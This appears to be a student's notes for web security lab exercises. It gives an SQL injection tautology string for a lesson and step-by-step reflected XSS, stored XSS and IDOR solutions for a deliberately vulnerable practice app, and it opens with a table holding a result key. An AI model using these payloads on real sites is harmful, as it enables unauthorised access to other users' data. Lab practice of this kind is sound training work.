Rita Hanolan	dontfoolyourself@example.com	Well Done! The Result key is 0dcf9078ba5d878f9e23809ac8f013d1a08fdc8f12c5036f1
Paul O Brien	andweretooyoungtosee@deaf.com	null

```
\or"1"="1"; --
```

SQL Injection Cheat

The lesson can be completed with the following attack string

```
' OR '1' = '1
```

Nano Corp

NANO CORP BITE

create account wait for 60 sec to get verified then login

1st vulnerability ReflectedXSS

UPDATED:

Go to the restaurant page, in the search bar of browser type this String:

ipaddress:port/restaurant/4?from=<script>alert(1)</script>

2nd Stored XSS

Go to profile page, in Display Name Box paste "" click save changes.

3rd IDOR insecure direct object reference

Go to orders page then in url it will be your ip:port/orders

You just need to append orders/1, orders/2 to see other users order this will mark idor as done